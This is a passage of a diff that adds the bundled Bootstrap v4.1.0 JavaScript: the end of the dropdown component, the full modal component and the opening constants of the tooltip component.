+    var RIGHT_MOUSE_BUTTON_WHICH = 3; // MouseEvent.which value for the right button (assuming a right-handed mouse)
+
+    var REGEXP_KEYDOWN = new RegExp(ARROW_UP_KEYCODE + "|" + ARROW_DOWN_KEYCODE + "|" + ESCAPE_KEYCODE);
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      CLICK: "click" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY,
+      KEYDOWN_DATA_API: "keydown" + EVENT_KEY + DATA_API_KEY,
+      KEYUP_DATA_API: "keyup" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      DISABLED: 'disabled',
+      SHOW: 'show',
+      DROPUP: 'dropup',
+      DROPRIGHT: 'dropright',
+      DROPLEFT: 'dropleft',
+      MENURIGHT: 'dropdown-menu-right',
+      MENULEFT: 'dropdown-menu-left',
+      POSITION_STATIC: 'position-static'
+    };
+    var Selector = {
+      DATA_TOGGLE: '[data-toggle="dropdown"]',
+      FORM_CHILD: '.dropdown form',
+      MENU: '.dropdown-menu',
+      NAVBAR_NAV: '.navbar-nav',
+      VISIBLE_ITEMS: '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'
+    };
+    var AttachmentMap = {
+      TOP: 'top-start',
+      TOPEND: 'top-end',
+      BOTTOM: 'bottom-start',
+      BOTTOMEND: 'bottom-end',
+      RIGHT: 'right-start',
+      RIGHTEND: 'right-end',
+      LEFT: 'left-start',
+      LEFTEND: 'left-end'
+    };
+    var Default = {
+      offset: 0,
+      flip: true,
+      boundary: 'scrollParent',
+      reference: 'toggle',
+      display: 'dynamic'
+    };
+    var DefaultType = {
+      offset: '(number|string|function)',
+      flip: 'boolean',
+      boundary: '(string|element)',
+      reference: '(string|element)',
+      display: 'string'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Dropdown =
+    /*#__PURE__*/
+    function () {
+      function Dropdown(element, config) {
+        this._element = element;
+        this._popper = null;
+        this._config = this._getConfig(config);
+        this._menu = this._getMenuElement();
+        this._inNavbar = this._detectNavbar();
+
+        this._addEventListeners();
+      } // Getters
+
+
+      var _proto = Dropdown.prototype;
+
+      // Public
+      _proto.toggle = function toggle() {
+        if (this._element.disabled || $$$1(this._element).hasClass(ClassName.DISABLED)) {
+          return;
+        }
+
+        var parent = Dropdown._getParentFromElement(this._element);
+
+        var isActive = $$$1(this._menu).hasClass(ClassName.SHOW);
+
+        Dropdown._clearMenus();
+
+        if (isActive) {
+          return;
+        }
+
+        var relatedTarget = {
+          relatedTarget: this._element
+        };
+        var showEvent = $$$1.Event(Event.SHOW, relatedTarget);
+        $$$1(parent).trigger(showEvent);
+
+        if (showEvent.isDefaultPrevented()) {
+          return;
+        } // Disable totally Popper.js for Dropdown in Navbar
+
+
+        if (!this._inNavbar) {
+          /**
+           * Check for Popper dependency
+           * Popper - https://popper.js.org
+           */
+          if (typeof Popper === 'undefined') {
+            throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)');
+          }
+
+          var referenceElement = this._element;
+
+          if (this._config.reference === 'parent') {
+            referenceElement = parent;
+          } else if (Util.isElement(this._config.reference)) {
+            referenceElement = this._config.reference; // Check if it's jQuery element
+
+            if (typeof this._config.reference.jquery !== 'undefined') {
+              referenceElement = this._config.reference[0];
+            }
+          } // If boundary is not `scrollParent`, then set position to `static`
+          // to allow the menu to "escape" the scroll parent's boundaries
+          // https://github.com/twbs/bootstrap/issues/24251
+
+
+          if (this._config.boundary !== 'scrollParent') {
+            $$$1(parent).addClass(ClassName.POSITION_STATIC);
+          }
+
+          this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig());
+        } // If this is a touch-enabled device we add extra
+        // empty mouseover listeners to the body's immediate children;
+        // only needed because of broken event delegation on iOS
+        // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
+
+
+        if ('ontouchstart' in document.documentElement && $$$1(parent).closest(Selector.NAVBAR_NAV).length === 0) {
+          $$$1(document.body).children().on('mouseover', null, $$$1.noop);
+        }
+
+        this._element.focus();
+
+        this._element.setAttribute('aria-expanded', true);
+
+        $$$1(this._menu).toggleClass(ClassName.SHOW);
+        $$$1(parent).toggleClass(ClassName.SHOW).trigger($$$1.Event(Event.SHOWN, relatedTarget));
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        $$$1(this._element).off(EVENT_KEY);
+        this._element = null;
+        this._menu = null;
+
+        if (this._popper !== null) {
+          this._popper.destroy();
+
+          this._popper = null;
+        }
+      };
+
+      _proto.update = function update() {
+        this._inNavbar = this._detectNavbar();
+
+        if (this._popper !== null) {
+          this._popper.scheduleUpdate();
+        }
+      }; // Private
+
+
+      _proto._addEventListeners = function _addEventListeners() {
+        var _this = this;
+
+        $$$1(this._element).on(Event.CLICK, function (event) {
+          event.preventDefault();
+          event.stopPropagation();
+
+          _this.toggle();
+        });
+      };
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, this.constructor.Default, $$$1(this._element).data(), config);
+        Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);
+        return config;
+      };
+
+      _proto._getMenuElement = function _getMenuElement() {
+        if (!this._menu) {
+          var parent = Dropdown._getParentFromElement(this._element);
+
+          this._menu = $$$1(parent).find(Selector.MENU)[0];
+        }
+
+        return this._menu;
+      };
+
+      _proto._getPlacement = function _getPlacement() {
+        var $parentDropdown = $$$1(this._element).parent();
+        var placement = AttachmentMap.BOTTOM; // Handle dropup
+
+        if ($parentDropdown.hasClass(ClassName.DROPUP)) {
+          placement = AttachmentMap.TOP;
+
+          if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) {
+            placement = AttachmentMap.TOPEND;
+          }
+        } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {
+          placement = AttachmentMap.RIGHT;
+        } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {
+          placement = AttachmentMap.LEFT;
+        } else if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) {
+          placement = AttachmentMap.BOTTOMEND;
+        }
+
+        return placement;
+      };
+
+      _proto._detectNavbar = function _detectNavbar() {
+        return $$$1(this._element).closest('.navbar').length > 0;
+      };
+
+      _proto._getPopperConfig = function _getPopperConfig() {
+        var _this2 = this;
+
+        var offsetConf = {};
+
+        if (typeof this._config.offset === 'function') {
+          offsetConf.fn = function (data) {
+            data.offsets = _objectSpread({}, data.offsets, _this2._config.offset(data.offsets) || {});
+            return data;
+          };
+        } else {
+          offsetConf.offset = this._config.offset;
+        }
+
+        var popperConfig = {
+          placement: this._getPlacement(),
+          modifiers: {
+            offset: offsetConf,
+            flip: {
+              enabled: this._config.flip
+            },
+            preventOverflow: {
+              boundariesElement: this._config.boundary
+            }
+          } // Disable Popper.js if we have a static display
+
+        };
+
+        if (this._config.display === 'static') {
+          popperConfig.modifiers.applyStyle = {
+            enabled: false
+          };
+        }
+
+        return popperConfig;
+      }; // Static
+
+
+      Dropdown._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = typeof config === 'object' ? config : null;
+
+          if (!data) {
+            data = new Dropdown(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      Dropdown._clearMenus = function _clearMenus(event) {
+        if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH || event.type === 'keyup' && event.which !== TAB_KEYCODE)) {
+          return;
+        }
+
+        var toggles = $$$1.makeArray($$$1(Selector.DATA_TOGGLE));
+
+        for (var i = 0; i < toggles.length; i++) {
+          var parent = Dropdown._getParentFromElement(toggles[i]);
+
+          var context = $$$1(toggles[i]).data(DATA_KEY);
+          var relatedTarget = {
+            relatedTarget: toggles[i]
+          };
+
+          if (!context) {
+            continue;
+          }
+
+          var dropdownMenu = context._menu;
+
+          if (!$$$1(parent).hasClass(ClassName.SHOW)) {
+            continue;
+          }
+
+          if (event && (event.type === 'click' && /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) && $$$1.contains(parent, event.target)) {
+            continue;
+          }
+
+          var hideEvent = $$$1.Event(Event.HIDE, relatedTarget);
+          $$$1(parent).trigger(hideEvent);
+
+          if (hideEvent.isDefaultPrevented()) {
+            continue;
+          } // If this is a touch-enabled device we remove the extra
+          // empty mouseover listeners we added for iOS support
+
+
+          if ('ontouchstart' in document.documentElement) {
+            $$$1(document.body).children().off('mouseover', null, $$$1.noop);
+          }
+
+          toggles[i].setAttribute('aria-expanded', 'false');
+          $$$1(dropdownMenu).removeClass(ClassName.SHOW);
+          $$$1(parent).removeClass(ClassName.SHOW).trigger($$$1.Event(Event.HIDDEN, relatedTarget));
+        }
+      };
+
+      Dropdown._getParentFromElement = function _getParentFromElement(element) {
+        var parent;
+        var selector = Util.getSelectorFromElement(element);
+
+        if (selector) {
+          parent = $$$1(selector)[0];
+        }
+
+        return parent || element.parentNode;
+      }; // eslint-disable-next-line complexity
+
+
+      Dropdown._dataApiKeydownHandler = function _dataApiKeydownHandler(event) {
+        // If not input/textarea:
+        //  - And not a key in REGEXP_KEYDOWN => not a dropdown command
+        // If input/textarea:
+        //  - If space key => not a dropdown command
+        //  - If key is other than escape
+        //    - If key is not up or down => not a dropdown command
+        //    - If trigger inside the menu => not a dropdown command
+        if (/input|textarea/i.test(event.target.tagName) ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE && (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE || $$$1(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {
+          return;
+        }
+
+        event.preventDefault();
+        event.stopPropagation();
+
+        if (this.disabled || $$$1(this).hasClass(ClassName.DISABLED)) {
+          return;
+        }
+
+        var parent = Dropdown._getParentFromElement(this);
+
+        var isActive = $$$1(parent).hasClass(ClassName.SHOW);
+
+        if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) || isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {
+          if (event.which === ESCAPE_KEYCODE) {
+            var toggle = $$$1(parent).find(Selector.DATA_TOGGLE)[0];
+            $$$1(toggle).trigger('focus');
+          }
+
+          $$$1(this).trigger('click');
+          return;
+        }
+
+        var items = $$$1(parent).find(Selector.VISIBLE_ITEMS).get();
+
+        if (items.length === 0) {
+          return;
+        }
+
+        var index = items.indexOf(event.target);
+
+        if (event.which === ARROW_UP_KEYCODE && index > 0) {
+          // Up
+          index--;
+        }
+
+        if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) {
+          // Down
+          index++;
+        }
+
+        if (index < 0) {
+          index = 0;
+        }
+
+        items[index].focus();
+      };
+
+      _createClass(Dropdown, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }, {
+        key: "DefaultType",
+        get: function get() {
+          return DefaultType;
+        }
+      }]);
+
+      return Dropdown;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler).on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler).on(Event.CLICK_DATA_API + " " + Event.KEYUP_DATA_API, Dropdown._clearMenus).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {
+      event.preventDefault();
+      event.stopPropagation();
+
+      Dropdown._jQueryInterface.call($$$1(this), 'toggle');
+    }).on(Event.CLICK_DATA_API, Selector.FORM_CHILD, function (e) {
+      e.stopPropagation();
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Dropdown._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Dropdown;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Dropdown._jQueryInterface;
+    };
+
+    return Dropdown;
+  }($, Popper);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): modal.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Modal = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'modal';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.modal';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key
+
+    var Default = {
+      backdrop: true,
+      keyboard: true,
+      focus: true,
+      show: true
+    };
+    var DefaultType = {
+      backdrop: '(boolean|string)',
+      keyboard: 'boolean',
+      focus: 'boolean',
+      show: 'boolean'
+    };
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      FOCUSIN: "focusin" + EVENT_KEY,
+      RESIZE: "resize" + EVENT_KEY,
+      CLICK_DISMISS: "click.dismiss" + EVENT_KEY,
+      KEYDOWN_DISMISS: "keydown.dismiss" + EVENT_KEY,
+      MOUSEUP_DISMISS: "mouseup.dismiss" + EVENT_KEY,
+      MOUSEDOWN_DISMISS: "mousedown.dismiss" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      SCROLLBAR_MEASURER: 'modal-scrollbar-measure',
+      BACKDROP: 'modal-backdrop',
+      OPEN: 'modal-open',
+      FADE: 'fade',
+      SHOW: 'show'
+    };
+    var Selector = {
+      DIALOG: '.modal-dialog',
+      DATA_TOGGLE: '[data-toggle="modal"]',
+      DATA_DISMISS: '[data-dismiss="modal"]',
+      FIXED_CONTENT: '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',
+      STICKY_CONTENT: '.sticky-top',
+      NAVBAR_TOGGLER: '.navbar-toggler'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Modal =
+    /*#__PURE__*/
+    function () {
+      function Modal(element, config) {
+        this._config = this._getConfig(config);
+        this._element = element;
+        this._dialog = $$$1(element).find(Selector.DIALOG)[0];
+        this._backdrop = null;
+        this._isShown = false;
+        this._isBodyOverflowing = false;
+        this._ignoreBackdropClick = false;
+        this._scrollbarWidth = 0;
+      } // Getters
+
+
+      var _proto = Modal.prototype;
+
+      // Public
+      _proto.toggle = function toggle(relatedTarget) {
+        return this._isShown ? this.hide() : this.show(relatedTarget);
+      };
+
+      _proto.show = function show(relatedTarget) {
+        var _this = this;
+
+        if (this._isTransitioning || this._isShown) {
+          return;
+        }
+
+        if ($$$1(this._element).hasClass(ClassName.FADE)) {
+          this._isTransitioning = true;
+        }
+
+        var showEvent = $$$1.Event(Event.SHOW, {
+          relatedTarget: relatedTarget
+        });
+        $$$1(this._element).trigger(showEvent);
+
+        if (this._isShown || showEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        this._isShown = true;
+
+        this._checkScrollbar();
+
+        this._setScrollbar();
+
+        this._adjustDialog();
+
+        $$$1(document.body).addClass(ClassName.OPEN);
+
+        this._setEscapeEvent();
+
+        this._setResizeEvent();
+
+        $$$1(this._element).on(Event.CLICK_DISMISS, Selector.DATA_DISMISS, function (event) {
+          return _this.hide(event);
+        });
+        $$$1(this._dialog).on(Event.MOUSEDOWN_DISMISS, function () {
+          $$$1(_this._element).one(Event.MOUSEUP_DISMISS, function (event) {
+            if ($$$1(event.target).is(_this._element)) {
+              _this._ignoreBackdropClick = true;
+            }
+          });
+        });
+
+        this._showBackdrop(function () {
+          return _this._showElement(relatedTarget);
+        });
+      };
+
+      _proto.hide = function hide(event) {
+        var _this2 = this;
+
+        if (event) {
+          event.preventDefault();
+        }
+
+        if (this._isTransitioning || !this._isShown) {
+          return;
+        }
+
+        var hideEvent = $$$1.Event(Event.HIDE);
+        $$$1(this._element).trigger(hideEvent);
+
+        if (!this._isShown || hideEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        this._isShown = false;
+        var transition = $$$1(this._element).hasClass(ClassName.FADE);
+
+        if (transition) {
+          this._isTransitioning = true;
+        }
+
+        this._setEscapeEvent();
+
+        this._setResizeEvent();
+
+        $$$1(document).off(Event.FOCUSIN);
+        $$$1(this._element).removeClass(ClassName.SHOW);
+        $$$1(this._element).off(Event.CLICK_DISMISS);
+        $$$1(this._dialog).off(Event.MOUSEDOWN_DISMISS);
+
+        if (transition) {
+          var transitionDuration = Util.getTransitionDurationFromElement(this._element);
+          $$$1(this._element).one(Util.TRANSITION_END, function (event) {
+            return _this2._hideModal(event);
+          }).emulateTransitionEnd(transitionDuration);
+        } else {
+          this._hideModal();
+        }
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        $$$1(window, document, this._element, this._backdrop).off(EVENT_KEY);
+        this._config = null;
+        this._element = null;
+        this._dialog = null;
+        this._backdrop = null;
+        this._isShown = null;
+        this._isBodyOverflowing = null;
+        this._ignoreBackdropClick = null;
+        this._scrollbarWidth = null;
+      };
+
+      _proto.handleUpdate = function handleUpdate() {
+        this._adjustDialog();
+      }; // Private
+
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, Default, config);
+        Util.typeCheckConfig(NAME, config, DefaultType);
+        return config;
+      };
+
+      _proto._showElement = function _showElement(relatedTarget) {
+        var _this3 = this;
+
+        var transition = $$$1(this._element).hasClass(ClassName.FADE);
+
+        if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {
+          // Don't move modal's DOM position
+          document.body.appendChild(this._element);
+        }
+
+        this._element.style.display = 'block';
+
+        this._element.removeAttribute('aria-hidden');
+
+        this._element.scrollTop = 0;
+
+        if (transition) {
+          Util.reflow(this._element);
+        }
+
+        $$$1(this._element).addClass(ClassName.SHOW);
+
+        if (this._config.focus) {
+          this._enforceFocus();
+        }
+
+        var shownEvent = $$$1.Event(Event.SHOWN, {
+          relatedTarget: relatedTarget
+        });
+
+        var transitionComplete = function transitionComplete() {
+          if (_this3._config.focus) {
+            _this3._element.focus();
+          }
+
+          _this3._isTransitioning = false;
+          $$$1(_this3._element).trigger(shownEvent);
+        };
+
+        if (transition) {
+          var transitionDuration = Util.getTransitionDurationFromElement(this._element);
+          $$$1(this._dialog).one(Util.TRANSITION_END, transitionComplete).emulateTransitionEnd(transitionDuration);
+        } else {
+          transitionComplete();
+        }
+      };
+
+      _proto._enforceFocus = function _enforceFocus() {
+        var _this4 = this;
+
+        $$$1(document).off(Event.FOCUSIN) // Guard against infinite focus loop
+        .on(Event.FOCUSIN, function (event) {
+          if (document !== event.target && _this4._element !== event.target && $$$1(_this4._element).has(event.target).length === 0) {
+            _this4._element.focus();
+          }
+        });
+      };
+
+      _proto._setEscapeEvent = function _setEscapeEvent() {
+        var _this5 = this;
+
+        if (this._isShown && this._config.keyboard) {
+          $$$1(this._element).on(Event.KEYDOWN_DISMISS, function (event) {
+            if (event.which === ESCAPE_KEYCODE) {
+              event.preventDefault();
+
+              _this5.hide();
+            }
+          });
+        } else if (!this._isShown) {
+          $$$1(this._element).off(Event.KEYDOWN_DISMISS);
+        }
+      };
+
+      _proto._setResizeEvent = function _setResizeEvent() {
+        var _this6 = this;
+
+        if (this._isShown) {
+          $$$1(window).on(Event.RESIZE, function (event) {
+            return _this6.handleUpdate(event);
+          });
+        } else {
+          $$$1(window).off(Event.RESIZE);
+        }
+      };
+
+      _proto._hideModal = function _hideModal() {
+        var _this7 = this;
+
+        this._element.style.display = 'none';
+
+        this._element.setAttribute('aria-hidden', true);
+
+        this._isTransitioning = false;
+
+        this._showBackdrop(function () {
+          $$$1(document.body).removeClass(ClassName.OPEN);
+
+          _this7._resetAdjustments();
+
+          _this7._resetScrollbar();
+
+          $$$1(_this7._element).trigger(Event.HIDDEN);
+        });
+      };
+
+      _proto._removeBackdrop = function _removeBackdrop() {
+        if (this._backdrop) {
+          $$$1(this._backdrop).remove();
+          this._backdrop = null;
+        }
+      };
+
+      _proto._showBackdrop = function _showBackdrop(callback) {
+        var _this8 = this;
+
+        var animate = $$$1(this._element).hasClass(ClassName.FADE) ? ClassName.FADE : '';
+
+        if (this._isShown && this._config.backdrop) {
+          this._backdrop = document.createElement('div');
+          this._backdrop.className = ClassName.BACKDROP;
+
+          if (animate) {
+            $$$1(this._backdrop).addClass(animate);
+          }
+
+          $$$1(this._backdrop).appendTo(document.body);
+          $$$1(this._element).on(Event.CLICK_DISMISS, function (event) {
+            if (_this8._ignoreBackdropClick) {
+              _this8._ignoreBackdropClick = false;
+              return;
+            }
+
+            if (event.target !== event.currentTarget) {
+              return;
+            }
+
+            if (_this8._config.backdrop === 'static') {
+              _this8._element.focus();
+            } else {
+              _this8.hide();
+            }
+          });
+
+          if (animate) {
+            Util.reflow(this._backdrop);
+          }
+
+          $$$1(this._backdrop).addClass(ClassName.SHOW);
+
+          if (!callback) {
+            return;
+          }
+
+          if (!animate) {
+            callback();
+            return;
+          }
+
+          var backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop);
+          $$$1(this._backdrop).one(Util.TRANSITION_END, callback).emulateTransitionEnd(backdropTransitionDuration);
+        } else if (!this._isShown && this._backdrop) {
+          $$$1(this._backdrop).removeClass(ClassName.SHOW);
+
+          var callbackRemove = function callbackRemove() {
+            _this8._removeBackdrop();
+
+            if (callback) {
+              callback();
+            }
+          };
+
+          if ($$$1(this._element).hasClass(ClassName.FADE)) {
+            var _backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop);
+
+            $$$1(this._backdrop).one(Util.TRANSITION_END, callbackRemove).emulateTransitionEnd(_backdropTransitionDuration);
+          } else {
+            callbackRemove();
+          }
+        } else if (callback) {
+          callback();
+        }
+      }; // ----------------------------------------------------------------------
+      // the following methods are used to handle overflowing modals
+      // todo (fat): these should probably be refactored out of modal.js
+      // ----------------------------------------------------------------------
+
+
+      _proto._adjustDialog = function _adjustDialog() {
+        var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;
+
+        if (!this._isBodyOverflowing && isModalOverflowing) {
+          this._element.style.paddingLeft = this._scrollbarWidth + "px";
+        }
+
+        if (this._isBodyOverflowing && !isModalOverflowing) {
+          this._element.style.paddingRight = this._scrollbarWidth + "px";
+        }
+      };
+
+      _proto._resetAdjustments = function _resetAdjustments() {
+        this._element.style.paddingLeft = '';
+        this._element.style.paddingRight = '';
+      };
+
+      _proto._checkScrollbar = function _checkScrollbar() {
+        var rect = document.body.getBoundingClientRect();
+        this._isBodyOverflowing = rect.left + rect.right < window.innerWidth;
+        this._scrollbarWidth = this._getScrollbarWidth();
+      };
+
+      _proto._setScrollbar = function _setScrollbar() {
+        var _this9 = this;
+
+        if (this._isBodyOverflowing) {
+          // Note: DOMNode.style.paddingRight returns the actual value or '' if not set
+          //   while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set
+          // Adjust fixed content padding
+          $$$1(Selector.FIXED_CONTENT).each(function (index, element) {
+            var actualPadding = $$$1(element)[0].style.paddingRight;
+            var calculatedPadding = $$$1(element).css('padding-right');
+            $$$1(element).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + _this9._scrollbarWidth + "px");
+          }); // Adjust sticky content margin
+
+          $$$1(Selector.STICKY_CONTENT).each(function (index, element) {
+            var actualMargin = $$$1(element)[0].style.marginRight;
+            var calculatedMargin = $$$1(element).css('margin-right');
+            $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) - _this9._scrollbarWidth + "px");
+          }); // Adjust navbar-toggler margin
+
+          $$$1(Selector.NAVBAR_TOGGLER).each(function (index, element) {
+            var actualMargin = $$$1(element)[0].style.marginRight;
+            var calculatedMargin = $$$1(element).css('margin-right');
+            $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) + _this9._scrollbarWidth + "px");
+          }); // Adjust body padding
+
+          var actualPadding = document.body.style.paddingRight;
+          var calculatedPadding = $$$1(document.body).css('padding-right');
+          $$$1(document.body).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + this._scrollbarWidth + "px");
+        }
+      };
+
+      _proto._resetScrollbar = function _resetScrollbar() {
+        // Restore fixed content padding
+        $$$1(Selector.FIXED_CONTENT).each(function (index, element) {
+          var padding = $$$1(element).data('padding-right');
+
+          if (typeof padding !== 'undefined') {
+            $$$1(element).css('padding-right', padding).removeData('padding-right');
+          }
+        }); // Restore sticky content and navbar-toggler margin
+
+        $$$1(Selector.STICKY_CONTENT + ", " + Selector.NAVBAR_TOGGLER).each(function (index, element) {
+          var margin = $$$1(element).data('margin-right');
+
+          if (typeof margin !== 'undefined') {
+            $$$1(element).css('margin-right', margin).removeData('margin-right');
+          }
+        }); // Restore body padding
+
+        var padding = $$$1(document.body).data('padding-right');
+
+        if (typeof padding !== 'undefined') {
+          $$$1(document.body).css('padding-right', padding).removeData('padding-right');
+        }
+      };
+
+      _proto._getScrollbarWidth = function _getScrollbarWidth() {
+        // thx d.walsh
+        var scrollDiv = document.createElement('div');
+        scrollDiv.className = ClassName.SCROLLBAR_MEASURER;
+        document.body.appendChild(scrollDiv);
+        var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
+        document.body.removeChild(scrollDiv);
+        return scrollbarWidth;
+      }; // Static
+
+
+      Modal._jQueryInterface = function _jQueryInterface(config, relatedTarget) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = _objectSpread({}, Modal.Default, $$$1(this).data(), typeof config === 'object' && config);
+
+          if (!data) {
+            data = new Modal(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config](relatedTarget);
+          } else if (_config.show) {
+            data.show(relatedTarget);
+          }
+        });
+      };
+
+      _createClass(Modal, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }]);
+
+      return Modal;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {
+      var _this10 = this;
+
+      var target;
+      var selector = Util.getSelectorFromElement(this);
+
+      if (selector) {
+        target = $$$1(selector)[0];
+      }
+
+      var config = $$$1(target).data(DATA_KEY) ? 'toggle' : _objectSpread({}, $$$1(target).data(), $$$1(this).data());
+
+      if (this.tagName === 'A' || this.tagName === 'AREA') {
+        event.preventDefault();
+      }
+
+      var $target = $$$1(target).one(Event.SHOW, function (showEvent) {
+        if (showEvent.isDefaultPrevented()) {
+          // Only register focus restorer if modal will actually get shown
+          return;
+        }
+
+        $target.one(Event.HIDDEN, function () {
+          if ($$$1(_this10).is(':visible')) {
+            _this10.focus();
+          }
+        });
+      });
+
+      Modal._jQueryInterface.call($$$1(target), config, this);
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Modal._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Modal;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Modal._jQueryInterface;
+    };
+
+    return Modal;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): tooltip.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Tooltip = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'tooltip';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.tooltip';
+    var EVENT_KEY = "." + DATA_KEY;
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var CLASS_PREFIX = 'bs-tooltip';
+    var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g');
+    var DefaultType = {
+      animation: 'boolean',
+      template: 'string',
+      title: '(string|element|function)',
+      trigger: 'string',
+      delay: '(number|object)',
+      html: 'boolean',
+      selector: '(string|boolean)',
+      placement: '(string|function)',
+      offset: '(number|string)',
+      container: '(string|element|boolean)',
+      fallbackPlacement: '(string|array)',
+      boundary: '(string|element)'
+    };
+    var AttachmentMap = {
+      AUTO: 'auto',
+      TOP: 'top',
+      RIGHT: 'right',
+      BOTTOM: 'bottom',
+      LEFT: 'left'
+    };
+    var Default = {
+      animation: true,
+      template: '<div class="tooltip" role="tooltip">' + '<div class="arrow"></div>' + '<div class="tooltip-inner"></div></div>',
+      trigger: 'hover focus',
+      title: '',
+      delay: 0,
+      html: false,
+      selector: false,
+      placement: 'top',
